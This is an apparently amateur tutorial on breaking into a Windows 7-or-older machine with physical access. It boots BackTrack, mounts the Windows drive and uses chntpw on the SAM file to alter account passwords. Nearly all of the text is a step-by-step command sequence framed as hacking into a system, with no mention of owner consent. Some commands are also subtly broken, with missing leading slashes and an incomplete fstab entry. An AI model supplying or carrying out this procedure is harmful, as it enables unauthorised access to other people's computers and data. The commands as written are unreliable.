hacking into a windows system physically using backtrack

Hacking into windows system once you have a physical access to the machine.
this will work on any windows system with windows7 ultimate and older.

Note: that where ever I've used '  single quotes the content within it is meant to be typed on the interface

Perquisites : 

1. A system with a windows OS.
2. A backtrack 4 or above Live Distribution in a bootable media.

Boot BackTrack live distribution on the system once loaded up enter the following commands

# cat /etc/fstab

if the output is just about two lines it means that your drive isn't loaded up yet

and you'll have to load them up by yourself

#vi /etc/fstab

in the vi editor add the lines to what ever is existing there do not modify the existing lines

if the below line is already present skip this step

' /dev/sda2 /media/hdd ntfs 0 0 '

and save the file (to save it hit escape and type ' wq ' )

the next line to create a directory for the media

' #mkdir media/hdd '

to mount the drive 

' #mount dev/sda2 '

now to enter into the password menu

' #chntpw -i /media/hdd/Windows/System32/config/sam '

From here on its a interactive text menu so guess things from here will be easy

to exit the menu type ' ! '

you 'll get a quote what to do ? [1] -> 

enter ' q '

and confirm your changes by typing ' y '

to exit

type the below to rebot

' #reboot '
